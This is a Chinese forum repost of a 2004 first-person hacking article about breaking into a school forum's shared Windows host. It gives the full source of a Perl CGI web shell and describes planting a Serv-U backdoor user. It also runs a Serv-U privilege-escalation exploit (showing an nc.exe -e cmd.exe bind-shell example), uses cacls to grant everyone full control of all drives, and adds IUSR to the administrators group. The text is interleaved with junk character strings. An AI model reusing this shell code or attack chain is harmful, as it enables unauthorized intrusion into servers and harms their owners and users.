中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
" j) D% z5 M# P# W* E
本文作者:angel
2 h p/ G! ? O% v6 a Y$ b3 l
文章性质:原创
2 q: o$ u& T. n4 O2 v
发布日期:2004-11-09
! O2 w& Q# L8 E
注意:
( d0 d3 \' s2 ]( e! Y+ T( j
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
9 R+ o9 i* b' U* @9 H
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
) }8 d$ B" _5 E9 {) v% o; ?
7 [1 z) T1 I8 K0 a1 t5 Y2 ?
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
4 s: {" s0 B) k V% I8 {
. i+ z+ f1 I; |1 x2 S0 }
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
: X* h2 R7 P1 j" F( T
. U# _( ^. H9 I/ _; I* P; j
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
; c5 |5 r2 n* \* W# ?& z( C
" m0 r: n( K+ X q& f2 v0 U! f
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
/ z3 [; G/ L5 V4 T
: ?6 h& F5 |* d% N" D2 I& P6 T9 z
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
( S- C# p* v# i4 }" r
2 S1 }- N+ u! t' ]/ R" ~- i
没有目的的跳转目录着……
8 M. q2 k0 S; z& r! i! P
' U. d' V9 O. L6 \
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
; w9 h1 }1 d) n/ m
3 K, L. T8 r( G* r) y
结束了吗?不,我试着 FTP 一下:
! m s: s! \# O# L
; w+ q% q2 c5 ^. {: e
Microsoft Windows 2000 [Version 5.00.2195]
5 ?2 P) W" _1 D" v! d U
(C) 版权所有 1985-2000 Microsoft Corp.
& L; f- ~* d! i9 Q
; D0 p$ V, `$ g2 ~1 s- J- |) `
C:\Documents and Settings\Administrator>ftp
www.school.com
, F, N, v" g6 f( [. J3 Q
Connected to www. school.com.
$ x3 p& t5 E0 b
220 Welcome to FTP Server...
' i* j" x' \2 [3 a' l3 \
User (
www.bjtrq.com:
(none)):
8 l) j7 o2 ~* q5 y" }. W$ v
331 User name okay, need password.
0 O1 @4 ]5 A( x C
Password:
; Q! Q( D; R3 E3 e' Y! m
530 Not logged in.
2 ~9 ^6 t. T3 t% A9 r8 p. m% l2 I5 y8 _
Login failed.
a, W! ]+ A+ E; Q6 Z3 U4 C0 G& \
ftp> bye
U. w% T% _- S5 d0 y
221 Goodbye!
5 u7 `. R$ r3 c+ f, Y
/ g2 b2 O! I) Y, ^
7 R3 U# z/ ?1 O B
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
p1 z! Y. p& I( s T. z1 n
- K# k) S. F* s' }
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
( `3 D& c' ~7 K1 i+ a" ~$ t9 _
4 W: R: \2 ]6 C' H3 z7 x: W+ }. N4 a
Application Data
7 a4 B, R2 s! q% a1 K
Documents
) l& Z( j2 P, V% |+ d# F
DRM
- K5 h/ m2 z# \0 i l% c
Favorites
8 t Y" Q- _8 L/ P! Q" L7 j8 ^
Templates
v0 f ]* w8 N/ v# u6 s
「开始」菜单
. N8 C1 ~2 X# Z# ^. l. Q
桌面
5 `) `8 l" l! |' c; A6 a
& V9 d/ ?# W6 T% `" l; J$ F+ a9 c
( M, R* ~- o) y: q* o8 E
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
( Z$ S( q8 W6 W2 U! |
3 x- _' ]: b& f# R0 M$ m/ p
ActiveState ActivePerl 5.8
, C% I1 W7 l- D5 O2 f* ^
Administrative Tools
7 m' ^, t! Y' {
Deerfield.com
! k1 j" L% N( k( N5 ~; A
DTemp
8 e4 C/ H" r5 y; t& e9 H
IPSentry
J! {0 O0 N0 O) u
MBM 5
6 g$ S5 L& ]2 c" i ?
NetMeter
1 S4 U3 E& M, V) b W
Network ICE
+ c) k$ R9 W7 D5 H) S2 S/ E
Persits Software AspEmail
9 N7 @. Z1 I! F& ~4 @
Persits Software AspJpeg
. L+ B9 x/ w- V% Q+ J
Serv-U FTP Server
. ?, F( p+ L0 K" b1 W
Symantec Client Security
4 Y+ C7 }) l4 b$ o
Windows 优化大师
2 u9 ]- o" x7 b
WinRAR
& E1 D8 h2 m% N
启动
8 n6 R' b% q% J g
管理工具
: c" g3 _% W5 }, |
附件
# L9 S" C2 M( v0 e6 ]
9 E2 o8 V! s- v7 p8 X; `
- e) X6 @- z, \) O1 P# A0 i( }
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
6 K' l5 c& O1 @
3 s" |6 f2 |/ e
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
8 W9 o( v( l5 X$ g. p9 z
' p4 D0 N$ l5 ?% {* w0 W, x* O
User281=angel|1|0
% A8 i; } o/ N3 F
( c5 A5 P8 D8 d( u
& x3 |4 Q S5 T! c b8 n, R
然后加上
+ z$ L' J! _: F
/ N* v2 w% p" I9 M% ~# X
[USER=angel|1]
2 x& m& j# Y8 \6 }! T( G: w
Password=ng98F85379EA68DBF97BAADCA99B69B805
, b! n& y5 |0 T4 K
HomeDir=D:\websites
, E8 E6 z. E' r% s$ d( a- F( ~: h% l
RelPaths=1
, g. j1 z3 k6 [9 Q
TimeOut=600
! K8 s, d) A1 S( e/ t$ N K
Maintenance=System
' R' o8 P0 ]( U3 v% Y* \4 ~/ G1 ]( x
Access1=D:\websites|RWAMELCDP
, L. Y" ?( e/ c. X( w% o' |
SKEYValues=
9 L6 o3 n8 S+ q# |, X0 i7 q
3 k }- k( s- [! y3 K, i; ?: q
Z' Z% r* r/ \. R5 A, J: v+ M
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& W9 h% g( G/ V- z# Z8 U
! d% Q+ T& b9 X" H
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
1 ?" c0 s9 t {! j6 K7 T
: V% T, |* v2 V9 T* p
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
$ Q' o% v. s8 E3 c: R0 J0 m2 @
% J- G2 F) w1 q# y9 Y; l$ x
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
" e" R4 n7 ~- c1 t2 c' z/ |+ \
% g7 p# j5 O [! n+ K+ C
#!/usr/bin/perl
& [7 J% Q, q f2 Z, X* L+ A
binmode(STDOUT);
4 b" Z5 P. P# H! Q A, w
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
: i2 d% g: t/ o* S
$_ = $ENV{QUERY_STRING};
/ {, X; Q; }# E1 @
s/%20/ /ig;
( U. m0 T0 J1 i; r$ ]
s/%2f/\//ig;
* q8 O& x; g. s, `. p" I) i
$execthis = $_;
+ h6 c2 E6 s0 n, s0 t1 B" r# h5 n
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
6 O u7 w: y: ^. z" O3 K3 e0 x
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
B+ T8 r7 j% a+ D- Y s' x
system($execthis);
/ d/ i* ~/ z+ `1 }- U! h0 N: u
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
$ m5 m7 E1 Z# R m* _/ n/ {
close(STDERR);
1 l0 T% Y! R% m( X( w' i; ~
close(STDOUT);
$ r |* L* k0 f1 l, H
exit;
: ^* C6 Z# q* p/ V
: N* V7 {: y' |
* r7 D0 ?/ [7 u; `
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
. b) `: b* U% q* y; K t
- P- ?2 a. }+ [, x; r# T2 h1 y
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 D0 e O$ D& L( U7 U i/ h
+ O5 ~! ~' X8 e6 v% [
http://anyhost//cmd.pl?d:\user\bin\su.exe
$ j3 Z$ u) n0 B" e! Z
! k5 ` w) e: Q
0 ~1 z( l/ H) C. c( A
返回:
1 T% J6 z9 f. ^
5 [; @" Z' w, G. [# C7 q
Serv-u >3.x Local Exploit by xiaolu
: I/ Q+ X) \7 _* y& n5 m* @
8 N# R7 ^" P1 v5 `% a5 @( i
USAGE: serv-u.exe "command"
- w1 A1 a$ _/ U1 z
- r7 l/ b6 O8 V% [! C
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! k3 G) L3 v* U2 U+ ~1 K
! d9 d. m: f' W/ M: s5 _% I/ n
8 e o0 N( `, H; e5 B
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
* m, x/ V% C" i- ~
$ N1 l& c. w8 z7 r; G
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
2 Q/ _! \/ b( d, q/ Y9 `
( y0 X5 l/ v/ n0 X: f! j
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
8 n' n) M- l: b6 N5 K. u& O% b
% Q! y. h- Q" B- r2 H! u
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
/ a9 `. s8 {/ _1 a* Q$ R
# U( b6 O& r8 b$ X/ ?
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
" H1 j0 `8 g0 P6 P- c
6 K( G3 p9 ^8 x, h( v& B6 B6 `
$ ~: C% b' x) D
返回下面的信息,就表示成功了!!!
! f+ S) F' Q8 D- o$ p8 D* r
0 h) |3 V+ M5 h( ~! R$ L9 s5 s; ~4 F
Serv-u >3.x Local Exploit by xiaolu
+ i6 q* c# @& l6 M2 L/ ?/ {2 \# R
0 k$ B9 K8 ]) S6 b
<220 Serv-U FTP Server v5.2 for WinSock ready...
. D) n* c T! `9 i
' l& |* @' G' m
>USER LocalAdministrator
' {, ^% `% w" j7 p. \! e
* U0 l" s3 Y3 I7 U: I
<331 User name okay, need password.
* u3 V# Y5 i+ U4 g* M9 Q* X
6 w6 i# ?8 J; y; P" l1 c5 D. C
******************************************************
# i. G" i5 A% Q* U8 ?, E0 f
. c0 j" m5 F- O3 q+ D1 G1 S
>PASS #l@$ak#.lk;0@P
% S. q% z) O; }7 J, O6 J+ x
, D1 p; a1 ^' g
<230 User logged in, proceed.
! t( K+ C9 E' S6 \( l
- _% f/ ~3 Z* i* ], a. D& A7 e- g
******************************************************
" L- g1 d5 z; O6 c' A3 ^- ]
! e, v7 k+ \( F5 R! U. U, b# e, Z2 ]
>SITE MAINTENANCE
1 B4 j0 r2 r4 o' z$ p2 m* \# q
, c% f) S8 e, b/ a; C
******************************************************
$ L( }1 }, I, M- J$ n2 J; e/ ]: I
3 ^8 V& {$ g ]' K$ l. m2 d& \+ u
[+] Creating New Domain...
% _ w+ q/ Q2 ^+ W
" T" w, h2 Y) i
<200-DomainID=2
$ n1 y2 G. \; F" s( R m. _' S
% O) o d: O' f8 `! z! K2 ]: Y- q
<220 Domain settings saved
' A- ?) Z5 v( m& g$ j, o: D5 A
; Q5 b; M1 h( q w6 J
******************************************************
- E/ }( w9 d6 q1 B+ v0 b" \) O
' L% K# o8 R, s
[+] Domain xl:2 Created
% F2 l, K g1 k6 E! g3 q8 k
5 p& Q# i, h) q5 l0 k& e4 u
[+] Creating Evil User
' \ }4 v( d: B- c- [& H! g6 @
5 I& M% M, ]+ V% @' \# |
<200-User=xl
* N* v) d! {9 F" e$ P
) \# }, J! n+ C. R) I
200 User settings saved
+ J/ X& C+ y9 H( M; }9 E1 j
' z8 Z9 t0 d5 K) V; J3 a) d
******************************************************
- [8 Z$ Q6 ?# E9 S/ L* M
+ s; D7 d( G- l1 ^ d7 E
[+] Now Exploiting...
: P6 X; ~" H& R' Y9 N7 i
8 w j: I# |, a
>USER xl
% t' O" H/ Y: x
# f$ `+ a8 ]8 J& i4 K" |6 ~
<331 User name okay, need password.
6 F( j7 f" k! T* Q$ J o
: f1 _/ C3 Y0 h& N
******************************************************
; E, {. m4 P' L% ]& d5 T1 g
* _. q, T9 N I; M' w
>PASS 111111
. J+ O* g# g4 X) H6 K7 ?4 F
2 \3 p( _, U, s9 H
<230 User logged in, proceed.
- G. H8 ~' E" T2 z: z" @/ d( h
) O7 i8 J. Y, V( g
******************************************************
. ?5 [8 C( a9 h8 i8 j7 ?
. e# _( H( r# d
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# {: t( V+ |5 r0 b+ ^# q
& i8 x; f3 ~5 s( S$ M9 }3 J) p
<220 Domain deleted
+ V3 m! E, A) A9 M
+ x) B4 R8 o% {* W5 n1 v
******************************************************
$ L: k, ~+ M* G ~3 h8 N# A8 v9 @
* K& \) M& R) U& t. K
0 d3 T; }! ~: X4 h( w z3 X
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
% Z3 @+ a! ~) H; g7 P
6 J. s5 @) Q& j6 I
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
% [/ x6 B4 _) @' R; I6 S
1 d2 |6 I: j( ~/ G& D, C& S1 v+ d
; V0 M& e* ]% v0 |
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
6 k# T: l) y5 s5 @/ P
* X4 G0 l% f2 x+ M! ?# _
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
. Q& K# I# y. f, F5 t
* X5 i! |9 B) V$ c' X9 p# e
8 o/ x/ W- W# {2 T$ r: p, a
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2